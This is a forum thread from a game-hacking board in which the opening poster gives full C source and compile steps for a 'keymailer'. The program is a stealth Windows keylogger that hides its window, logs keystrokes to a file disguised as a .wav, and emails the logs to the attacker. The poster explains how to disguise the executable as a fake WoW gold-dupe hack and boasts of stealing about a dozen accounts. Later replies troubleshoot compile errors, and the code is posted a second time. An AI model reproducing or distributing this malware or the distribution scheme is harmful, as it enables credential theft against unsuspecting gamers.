Make a keymailer - quite easy :D menu

User Tag List

Page 1 of 4 1234 LastLast
Results 1 to 15 of 58
  1. #1
    Popc0rn's Avatar Banned
    Reputation
    105
    Join Date
    Jul 2008
    Posts
    229
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    Make a keymailer - quite easy :D



    EDIT: I updated the code! THIS ONE WORKS!
    And if your a leecher, dont expect me to make you a keylogger or anything.


    Ty Irongeek.com and White Scorpion for making the code.
    i do not take credit for making this code.
    Ok guys, to start ima talk about what a keymailer is.
    a keymailer is a keylogger that sends the logs via email.
    xD srry, just had to make it clear :P.

    Required items-
    1. Dev C++, you can get it here SourceForge.net: Downloading ...
    2. A NEW gmail address (IT WILL SPAM YOU.)
    3. Basic knowlege.

    ok, install Dev C++, then run.

    hey guys... if your getting like [Linker error] undefined reference to `WSAStartup@8'
    Add this:
    -lws2_32
    to Tools->Compiler Options under the section on compile flags.

    like click both boxes where it says add and put that in both


    click next till you actually get to the program
    may take a while...

    when it loads,
    go to file>new>project Windows Application.
    name it Keylogger

    in the box, Ctrl- A , and backspace. you dont need any of that crap :P

    ok now paste in this code.

    Code:
    /*
    Collected by Cipherence for </DIC> 
    original copyright is intact
    */
    
    /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 
    *                                                                              *
    *  File: keymail.c   Ver. 0.7                                                  *
    *                                                                              *
    *  Purpose: a stealth (somewhat) key logger, writes to a log file then sends   *
    *  and email to whoever is set in the #define options at compile time.         *
    *  This code is for educational uses, don't be an ass hat with it.             *
    *  White Scorpion (www.white-scorpion.nl) did the initial work on the key      *
    *  logger, but he has gone on to bigger and better things.                     *
    *  This version was crafted by Irongeek (www.Irongeek.com), who tacked on      *
    *  some code to make it send emails, along with a few other changes.           *
    *  If some of the code is crappy, blame Irongeek and not White Scorpion.       *
    *  Please send Irongeek improvements and he will post the changes and give you *
    *  credit for your contributions.                                              *
    *                                                                              *
    *  This program is free software; you can redistribute it and/or               *
    *  modify it under the terms of the GNU General Public License                 *
    *  as published by the Free Software Foundation; either version 2              *
    *  of the License, or (at your option) any later version.                      *
    *                                                                              *
    *  This program is distributed in the hope that it will be useful,             *
    *  but WITHOUT ANY WARRANTY; without even the implied warranty of              *
    *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the               *
    *  GNU General Public License for more details.                                *
    *                                                                              *
    *  You should have received a copy of the GNU General Public License           *
    *  along with this program; if not, write to the Free Software                 *
    *  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA. *
    *                                                                              *
    * Change log:                                                                  *
    *      1/3/06 On Ed Rguyl's recommendation I changed how malloc was used.      *
    *      6/22/06 Added the date and time functionality using ctime and fixed     *
    *              a bug where subject was being defined twice.(ThVoidedLine)      *
    *                                                                              *
    * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
    /*
    Compile notes: I used Dev-C++ 4.9.9.2 to compie this. if you get an error like:
            Linker error] undefined reference to `WSAStartup@8'
    Add this:
             -lws2_32
    to Tools->Compiler Options under the section on compile flags.
    */
    
    #include <windows.h>
    #include <stdio.h>
    #include <winuser.h>
    #include <windowsx.h>
    #include <time.h>
    int MailIt (char *mailserver, char *emailto, char *emailfrom, 
    char *emailsubject, char *emailmessage);
    #define BUFSIZE 800
    #define waittime 500
    /*If you don't know the mail exchange server for an address for the following 
    "nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for 
    whatever email address you want. YOU MUST CHANGE  THESE SETTINGS OR
    IT WILL NOT WORK!!! */
    #define cmailserver "gmail-smtp-in.l.google.com"
    #define cemailto "[email protected]"
    #define cemailfrom "[email protected]"
    #define LogLength 100
    #define FileName "sound.wav"
    #define SMTPLog "ring.wav"
    #define cemailsubject "Logged"
    
    int get_keys(void);
    int test_key(void);
    int main(void)
    {
       //Uncomment the lines below to put the keylogger in stealh mode.
       HWND stealth; /*creating stealth */
       AllocConsole();
       stealth=FindWindowA("ConsoleWindowClass",NULL);
       ShowWindow(stealth,0);
       
       {FILE *file;
       file=fopen(FileName,"a+");
       time_t theTime=time(0);
       fputs("nStarted logging: ", file);
       fputs(ctime(&theTime),file);
       fclose(file);
       }
       
       /* if (test==2)
        {//the path in which the file needs to be
        char *path="c:\%windir%\svchost.exe";
        create=create_key(path);          
        } */
       
       int t = get_keys();    
       return t;
    }  
    
    int get_keys()
    {
    int freadindex;
    char *buf;
    long len;
    FILE *file;
    file=fopen(FileName,"a+");
    
    
               short character;
                 while(1)
                 {
                        Sleep(10);/*to prevent 100% cpu usage*/
                        for(character=8;character<=222;character++)
                        {
                            if(GetAsyncKeyState(character)==-32767)
                            {  
                                FILE *file;
                                file=fopen(FileName,"a+");
                                if(file==NULL)
                                {
                                        return 1;
                                }            
                                if(file!=NULL)
                                {        
                                        if((character>=39)&&(character<=64))
                                        {
                                              fputc(character,file);
                                              fclose(file);
                                              break;
                                        }        
                                        else if((character>64)&&(character<91))
                                        {
                                              character+=32;
                                              fputc(character,file);
                                              fclose(file);
                                              break;
                                        }
                                        else
                                        {
                                            switch(character)
                                            {
                                                  case VK_SPACE:
                                                  fputc(' ',file);
                                                  fclose(file);
                                                  break;    
                                                  case VK_SHIFT:
                                                  fputs("rn[SHIFT]rn",file);
                                                  fclose(file);
                                                  break;                                            
                                                  case VK_RETURN:
                                                  fputs("rn[ENTER]rn",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_BACK:
                                                  fputs("rn[BACKSPACE]rn",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_TAB:
                                                  fputs("rn[TAB]rn",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_CONTROL:
                                                  fputs("rn[CTRL]rn",file);
                                                  fclose(file);
                                                  break;    
                                                  case VK_DELETE:
                                                  fputs("rn[DEL]rn",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_1:
                                                  fputs("rn[;:]rn",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_2:
                                                  fputs("rn[/?]rn",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_3:
                                                  fputs("rn[`~]rn",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_4:
                                                  fputs("rn[ [{ ]rn",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_5:
                                                  fputs("rn[|]rn",file);
                                                  fclose(file);
                                                  break;                                
                                                  case VK_OEM_6:
                                                  fputs("rn[ ]} ]rn",file);
                                                  fclose(file);
                                                  break;
                                                  case 187:
                                                  fputc('+',file);
                                                  fclose(file);
                                                  break;
                                                  case 188:
                                                  fputc(',',file);
                                                  fclose(file);
                                                  break;
                                                  case 189:
                                                  fputc('-',file);
                                                  fclose(file);
                                                  break;
                                                  case 190:
                                                  fputc('.',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD0:
                                                  fputc('0',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD1:
                                                  fputc('1',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD2:
                                                  fputc('2',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD3:
                                                  fputc('3',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD4:
                                                  fputc('4',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD5:
                                                  fputc('5',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD6:
                                                  fputc('6',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD7:
                                                  fputc('7',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD8:
                                                  fputc('8',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD9:
                                                  fputc('9',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_CAPITAL:
                                                  fputs("rn[CAPS LOCK]rn",file);
                                                  fclose(file);
                                                  break;
                                                  default:
                                                  fclose(file);
                                                  break;
                                           }        
                                      }    
                                 }        
                       }    
                   }                  
               FILE *file;
               file=fopen(FileName,"rb");
               fseek(file,0,SEEK_END); //go to end
               len=ftell(file); //get position at end (length)
               if(len>=LogLength) {
                 fseek(file,0,SEEK_SET);//go to beg.
                 buf=(char *)malloc(len);//malloc buffer
                 freadindex=fread(buf,1,len,file);//read into buffer
                 buf[freadindex] = '\0';//Extra bit I have to add to make it a sting
                 MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
                 fclose(file);
                 file=fopen(FileName,"w");                        
                 }
               
                fclose(file);
                //free (buf);
                     
               }
               return EXIT_SUCCESS;                            
    }
    
    int MailIt (char *mailserver, char *emailto, char *emailfrom, 
    char *emailsubject, char *emailmessage) {
        SOCKET sockfd;
        WSADATA wsaData;
        FILE *smtpfile;
        
        #define bufsize 300
        int bytes_sent;   /* Sock FD */
        int err;
        struct hostent *host;   /* info from gethostbyname */
        struct sockaddr_in dest_addr;   /* Host Address */
        char line[1000];
        char *Rec_Buf = (char*) malloc(bufsize+1);
        smtpfile=fopen(SMTPLog,"a+");
        if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
          fputs("WSAStartup failed",smtpfile);
          WSACleanup();
          return -1;
        }
        if ( (host=gethostbyname(mailserver)) == NULL) {
           perror("gethostbyname");
           exit(1);
        }
        memset(&dest_addr,0,sizeof(dest_addr));
        memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
    
         /* Prepare dest_addr */
         dest_addr.sin_family= host->h_addrtype;  /* AF_INET from gethostbyname */
         dest_addr.sin_port= htons(25); /* PORT defined above */
    
         /* Get socket */
    
         if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
            perror("socket");
            exit(1);
            }
         /* Connect !*/
         fputs("Connecting....n",smtpfile);
     
        if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
            perror("connect");
            exit(1);
            }
         Sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
         fputs(Rec_Buf,smtpfile);
         strcpy(line,"helo me.somepalace.comn");
         fputs(line,smtpfile);
         bytes_sent=send(sockfd,line,strlen(line),0);
         Sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
         fputs(Rec_Buf,smtpfile);
         strcpy(line,"MAIL FROM:<");
         strncat(line,emailfrom,strlen(emailfrom));
         strncat(line,">n",3);
         fputs(line,smtpfile);
         bytes_sent=send(sockfd,line,strlen(line),0);
         Sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
         fputs(Rec_Buf,smtpfile);
    
         strcpy(line,"RCPT TO:<");
         strncat(line,emailto,strlen(emailto));
         strncat(line,">n",3);
         fputs(line,smtpfile);
         bytes_sent=send(sockfd,line,strlen(line),0);
         Sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
         fputs(Rec_Buf,smtpfile);
         strcpy(line,"DATAn");
         fputs(line,smtpfile);
         bytes_sent=send(sockfd,line,strlen(line),0);
         Sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
         fputs(Rec_Buf,smtpfile);
         Sleep(waittime);
         strcpy(line,"To:");
         strcat(line,emailto);
         strcat(line,"n");
         strcat(line,"From:");
         strcat(line,emailfrom);
         strcat(line,"n");
         strcat(line,"Subject:");
         strcat(line,emailsubject);
         strcat(line,"n");
         strcat(line,emailmessage);
         strcat(line,"rn.rn");
         fputs(line,smtpfile);
         bytes_sent=send(sockfd,line,strlen(line),0);
         Sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
         fputs(Rec_Buf,smtpfile);
         strcpy(line,"quitn");
         fputs(line,smtpfile);
         bytes_sent=send(sockfd,line,strlen(line),0);
         Sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
         fputs(Rec_Buf,smtpfile);
         fclose(smtpfile);                          
         #ifdef WIN32
         closesocket(sockfd);
         WSACleanup();
         #else
         close(sockfd);
         #endif
    }
    ok now find this.
    Code:
    #define cmailserver "gmail-smtp-in.l.google.com"
    #define cemailto "[email protected]"
    #define cemailfrom "[email protected]"
    #define LogLength 100
    #define FileName "sound.wav"
    #define SMTPLog "ring.wav"
    #define cemailsubject "Logged"
    you need to edit this to your email.
    *change the cemailto to [email protected]
    *change the cemailfrom to [email protected]
    *change Filename to something.exe
    *KEEP SMTPLOG THE SAME
    * I kept my subject the same.
    now go to Execute> Compile.
    save.
    DO NOT RUN!
    and all should go well
    now go to where u saved it, and rename to w/e you wish.
    now you can post it on youtube like I did,
    or just trade on MD, and say its a timed EXE and a window with your acct info should pop up or w/e :P i have successfully gotten approx. 12 accts this way

    HAVE FUNN!!
    Last edited by Popc0rn; 10-19-2008 at 02:47 AM.

    Make a keymailer - quite easy :D
  2. #2
    Visin77's Avatar Member
    Reputation
    1
    Join Date
    Feb 2008
    Posts
    9
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    In what way did you post this on Youtube may I ask?

    I currently scam alot but I am not sure as to what method you used on Youtube.
    Please comment back, thanks.

  3. #3
    Indigoextend's Avatar Banned
    Reputation
    32
    Join Date
    Dec 2007
    Posts
    210
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Post credits as to where you got the script from
    also this is detected by most/all antiviruses

  4. #4
    Visin77's Avatar Member
    Reputation
    1
    Join Date
    Feb 2008
    Posts
    9
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    I have followed every step of this guide and keep on getting the same build error's with the compiler that you suggested. Any suggestions?

  5. #5
    Popc0rn's Avatar Banned
    Reputation
    105
    Join Date
    Jul 2008
    Posts
    229
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    what error?

  6. #6
    Popc0rn's Avatar Banned
    Reputation
    105
    Join Date
    Jul 2008
    Posts
    229
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Originally Posted by Visin77 View Post
    In what way did you post this on Youtube may I ask?

    I currently scam alot but I am not sure as to what method you used on Youtube.
    Please comment back, thanks.
    [ame=http://www.youtube.com/watch?v=7TNu_mn0HrE]YouTube - WOW GOLD DUPE HACK SECRET MOD[/ame]

  7. #7
    Visin77's Avatar Member
    Reputation
    1
    Join Date
    Feb 2008
    Posts
    9
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Compiler: Default compiler
    Building Makefile: "C:\Dev-Cpp\Makefile.win"
    Executing make...
    make.exe -f "C:\Dev-Cpp\Makefile.win" all
    g++.exe -c main.cpp -o main.o -I"C:/Dev-Cpp/lib/gcc/mingw32/3.4.2/include" -I"C:/Dev-Cpp/include/c++/3.4.2/backward" -I"C:/Dev-Cpp/include/c++/3.4.2/mingw32" -I"C:/Dev-Cpp/include/c++/3.4.2" -I"C:/Dev-Cpp/include" -ansi -traditional-cpp -fno-access-control -fexceptions

    main.cpp:185:53: warning: unknown escape sequence '\|'
    main.cpp: In function `int get_keys()':
    main.cpp:193: error: expected `)' before ']' token
    main.cpp:193: error: missing terminating " character

    make.exe: *** [main.o] Error 1

    Execution terminated



    Those are the errors I see at the moment.

  8. #8
    Popc0rn's Avatar Banned
    Reputation
    105
    Join Date
    Jul 2008
    Posts
    229
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    1 sec. ima try and see if its working for me

  9. #9
    Popc0rn's Avatar Banned
    Reputation
    105
    Join Date
    Jul 2008
    Posts
    229
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    kk, i edited my post and put in a new code :P srry screwed the other one up

  10. #10
    saucynoodle's Avatar Member
    Reputation
    1
    Join Date
    Aug 2006
    Posts
    17
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    i still get the same error as the other guy

  11. #11
    Visin77's Avatar Member
    Reputation
    1
    Join Date
    Feb 2008
    Posts
    9
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Did you verify that the new code worked as well? Because I am not sure that it works for me, it shows the same error. =[

  12. #12
    Popc0rn's Avatar Banned
    Reputation
    105
    Join Date
    Jul 2008
    Posts
    229
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    yea i got it too try the new code..
    i edited it AFTER i posted lmao

  13. #13
    Visin77's Avatar Member
    Reputation
    1
    Join Date
    Feb 2008
    Posts
    9
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Haha thank you for fixing this for us, great "tech support" lol

    I will be waiting for the fixed code =]

  14. #14
    Popc0rn's Avatar Banned
    Reputation
    105
    Join Date
    Jul 2008
    Posts
    229
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    its in my original post, i edited it lmao.
    here it is again tho, :P

    Code:
     /*
    Collected by Cipherence for </DIC> 
    original copyright is intact
    */
    
    /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 
    *                                                                              *
    *  File: keymail.c   Ver. 0.7                                                  *
    *                                                                              *
    *  Purpose: a stealth (somewhat) key logger, writes to a log file then sends   *
    *  and email to whoever is set in the #define options at compile time.         *
    *  This code is for educational uses, don't be an ass hat with it.             *
    *  White Scorpion (www.white-scorpion.nl) did the initial work on the key      *
    *  logger, but he has gone on to bigger and better things.                     *
    *  This version was crafted by Irongeek (www.Irongeek.com), who tacked on      *
    *  some code to make it send emails, along with a few other changes.           *
    *  If some of the code is crappy, blame Irongeek and not White Scorpion.       *
    *  Please send Irongeek improvements and he will post the changes and give you *
    *  credit for your contributions.                                              *
    *                                                                              *
    *  This program is free software; you can redistribute it and/or               *
    *  modify it under the terms of the GNU General Public License                 *
    *  as published by the Free Software Foundation; either version 2              *
    *  of the License, or (at your option) any later version.                      *
    *                                                                              *
    *  This program is distributed in the hope that it will be useful,             *
    *  but WITHOUT ANY WARRANTY; without even the implied warranty of              *
    *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the               *
    *  GNU General Public License for more details.                                *
    *                                                                              *
    *  You should have received a copy of the GNU General Public License           *
    *  along with this program; if not, write to the Free Software                 *
    *  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA. *
    *                                                                              *
    * Change log:                                                                  *
    *      1/3/06 On Ed Rguyl's recommendation I changed how malloc was used.      *
    *      6/22/06 Added the date and time functionality using ctime and fixed     *
    *              a bug where subject was being defined twice.(ThVoidedLine)      *
    *                                                                              *
    * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
    /*
    Compile notes: I used Dev-C++ 4.9.9.2 to compie this. if you get an error like:
            Linker error] undefined reference to `WSAStartup@8'
    Add this:
             -lws2_32
    to Tools->Compiler Options under the section on compile flags.
    */
    
    #include <windows.h>
    #include <stdio.h>
    #include <winuser.h>
    #include <windowsx.h>
    #include <time.h>
    int MailIt (char *mailserver, char *emailto, char *emailfrom, 
    char *emailsubject, char *emailmessage);
    #define BUFSIZE 800
    #define waittime 500
    /*If you don't know the mail exchange server for an address for the following 
    "nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for 
    whatever email address you want. YOU MUST CHANGE  THESE SETTINGS OR
    IT WILL NOT WORK!!! */
    #define cmailserver "gmail-smtp-in.l.google.com"
    #define cemailto "[email protected]"
    #define cemailfrom "[email protected]"
    #define LogLength 100
    #define FileName "sound.wav"
    #define SMTPLog "ring.wav"
    #define cemailsubject "Logged"
    
    int get_keys(void);
    int test_key(void);
    int main(void)
    {
       //Uncomment the lines below to put the keylogger in stealh mode.
       HWND stealth; /*creating stealth */
       AllocConsole();
       stealth=FindWindowA("ConsoleWindowClass",NULL);
       ShowWindow(stealth,0);
       
       {FILE *file;
       file=fopen(FileName,"a+");
       time_t theTime=time(0);
       fputs("nStarted logging: ", file);
       fputs(ctime(&theTime),file);
       fclose(file);
       }
       
       /* if (test==2)
        {//the path in which the file needs to be
        char *path="c:\%windir%\svchost.exe";
        create=create_key(path);          
        } */
       
       int t = get_keys();    
       return t;
    }  
    
    int get_keys()
    {
    int freadindex;
    char *buf;
    long len;
    FILE *file;
    file=fopen(FileName,"a+");
    
    
               short character;
                 while(1)
                 {
                        Sleep(10);/*to prevent 100% cpu usage*/
                        for(character=8;character<=222;character++)
                        {
                            if(GetAsyncKeyState(character)==-32767)
                            {  
                                FILE *file;
                                file=fopen(FileName,"a+");
                                if(file==NULL)
                                {
                                        return 1;
                                }            
                                if(file!=NULL)
                                {        
                                        if((character>=39)&&(character<=64))
                                        {
                                              fputc(character,file);
                                              fclose(file);
                                              break;
                                        }        
                                        else if((character>64)&&(character<91))
                                        {
                                              character+=32;
                                              fputc(character,file);
                                              fclose(file);
                                              break;
                                        }
                                        else
                                        {
                                            switch(character)
                                            {
                                                  case VK_SPACE:
                                                  fputc(' ',file);
                                                  fclose(file);
                                                  break;    
                                                  case VK_SHIFT:
                                                  fputs("rn[SHIFT]rn",file);
                                                  fclose(file);
                                                  break;                                            
                                                  case VK_RETURN:
                                                  fputs("rn[ENTER]rn",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_BACK:
                                                  fputs("rn[BACKSPACE]rn",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_TAB:
                                                  fputs("rn[TAB]rn",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_CONTROL:
                                                  fputs("rn[CTRL]rn",file);
                                                  fclose(file);
                                                  break;    
                                                  case VK_DELETE:
                                                  fputs("rn[DEL]rn",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_1:
                                                  fputs("rn[;:]rn",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_2:
                                                  fputs("rn[/?]rn",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_3:
                                                  fputs("rn[`~]rn",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_4:
                                                  fputs("rn[ [{ ]rn",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_5:
                                                  fputs("rn[\|]rn",file);
                                                  fclose(file);
                                                  break;                                
                                                  case VK_OEM_6:
                                                  fputs("rn[ ]} ]rn",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_7:
                                                  fputs("rn['"]rn",file);
                                                  fclose(file);
                                                  break;
                                                  case 187:
                                                  fputc('+',file);
                                                  fclose(file);
                                                  break;
                                                  case 188:
                                                  fputc(',',file);
                                                  fclose(file);
                                                  break;
                                                  case 189:
                                                  fputc('-',file);
                                                  fclose(file);
                                                  break;
                                                  case 190:
                                                  fputc('.',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD0:
                                                  fputc('0',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD1:
                                                  fputc('1',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD2:
                                                  fputc('2',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD3:
                                                  fputc('3',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD4:
                                                  fputc('4',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD5:
                                                  fputc('5',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD6:
                                                  fputc('6',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD7:
                                                  fputc('7',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD8:
                                                  fputc('8',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD9:
                                                  fputc('9',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_CAPITAL:
                                                  fputs("rn[CAPS LOCK]rn",file);
                                                  fclose(file);
                                                  break;
                                                  default:
                                                  fclose(file);
                                                  break;
                                           }        
                                      }    
                                 }        
                       }    
                   }                  
               FILE *file;
               file=fopen(FileName,"rb");
               fseek(file,0,SEEK_END); //go to end
               len=ftell(file); //get position at end (length)
               if(len>=LogLength) {
                 fseek(file,0,SEEK_SET);//go to beg.
                 buf=(char *)malloc(len);//malloc buffer
                 freadindex=fread(buf,1,len,file);//read into buffer
                 buf[freadindex] = '';//Extra bit I have to add to make it a sting
                 MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
                 fclose(file);
                 file=fopen(FileName,"w");                        
                 }
               
                fclose(file);
                //free (buf);
                     
               }
               return EXIT_SUCCESS;                            
    }
    
    int MailIt (char *mailserver, char *emailto, char *emailfrom, 
    char *emailsubject, char *emailmessage) {
        SOCKET sockfd;
        WSADATA wsaData;
        FILE *smtpfile;
        
        #define bufsize 300
        int bytes_sent;   /* Sock FD */
        int err;
        struct hostent *host;   /* info from gethostbyname */
        struct sockaddr_in dest_addr;   /* Host Address */
        char line[1000];
        char *Rec_Buf = (char*) malloc(bufsize+1);
        smtpfile=fopen(SMTPLog,"a+");
        if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
          fputs("WSAStartup failed",smtpfile);
          WSACleanup();
          return -1;
        }
        if ( (host=gethostbyname(mailserver)) == NULL) {
           perror("gethostbyname");
           exit(1);
        }
        memset(&dest_addr,0,sizeof(dest_addr));
        memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
    
         /* Prepare dest_addr */
         dest_addr.sin_family= host->h_addrtype;  /* AF_INET from gethostbyname */
         dest_addr.sin_port= htons(25); /* PORT defined above */
    
         /* Get socket */
    
         if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
            perror("socket");
            exit(1);
            }
         /* Connect !*/
         fputs("Connecting....n",smtpfile);
     
        if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
            perror("connect");
            exit(1);
            }
         Sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '';
         fputs(Rec_Buf,smtpfile);
         strcpy(line,"helo me.somepalace.comn");
         fputs(line,smtpfile);
         bytes_sent=send(sockfd,line,strlen(line),0);
         Sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '';
         fputs(Rec_Buf,smtpfile);
         strcpy(line,"MAIL FROM:<");
         strncat(line,emailfrom,strlen(emailfrom));
         strncat(line,">n",3);
         fputs(line,smtpfile);
         bytes_sent=send(sockfd,line,strlen(line),0);
         Sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '';
         fputs(Rec_Buf,smtpfile);
    
         strcpy(line,"RCPT TO:<");
         strncat(line,emailto,strlen(emailto));
         strncat(line,">n",3);
         fputs(line,smtpfile);
         bytes_sent=send(sockfd,line,strlen(line),0);
         Sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '';
         fputs(Rec_Buf,smtpfile);
         strcpy(line,"DATAn");
         fputs(line,smtpfile);
         bytes_sent=send(sockfd,line,strlen(line),0);
         Sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '';
         fputs(Rec_Buf,smtpfile);
         Sleep(waittime);
         strcpy(line,"To:");
         strcat(line,emailto);
         strcat(line,"n");
         strcat(line,"From:");
         strcat(line,emailfrom);
         strcat(line,"n");
         strcat(line,"Subject:");
         strcat(line,emailsubject);
         strcat(line,"n");
         strcat(line,emailmessage);
         strcat(line,"rn.rn");
         fputs(line,smtpfile);
         bytes_sent=send(sockfd,line,strlen(line),0);
         Sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '';
         fputs(Rec_Buf,smtpfile);
         strcpy(line,"quitn");
         fputs(line,smtpfile);
         bytes_sent=send(sockfd,line,strlen(line),0);
         Sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '';
         fputs(Rec_Buf,smtpfile);
         fclose(smtpfile);                          
         #ifdef WIN32
         closesocket(sockfd);
         WSACleanup();
         #else
         close(sockfd);
         #endif
    }

  15. #15
    Visin77's Avatar Member
    Reputation
    1
    Join Date
    Feb 2008
    Posts
    9
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    It is still showing the same error message with the new code you posted.

Page 1 of 4 1234 LastLast

Similar Threads

  1. How To Make A Custom Portal easy Newb Friendy Tutorial pWd By Winckler
    By winckler in forum WoW EMU Guides & Tutorials
    Replies: 34
    Last Post: 10-05-2008, 10:50 PM
  2. Making Ascent Public The easy way [Non-Hamachi]
    By 2dgreengiant in forum WoW EMU Guides & Tutorials
    Replies: 75
    Last Post: 04-21-2008, 06:47 PM
  3. How to make a ascent server easy +making it public!!!
    By Confucius in forum WoW EMU Guides & Tutorials
    Replies: 73
    Last Post: 04-10-2008, 01:53 PM
  4. Replies: 14
    Last Post: 12-14-2007, 04:05 PM
  5. How to Make Questing/Leveling Very Easy
    By Calibur in forum World of Warcraft Guides
    Replies: 57
    Last Post: 06-22-2007, 08:02 AM
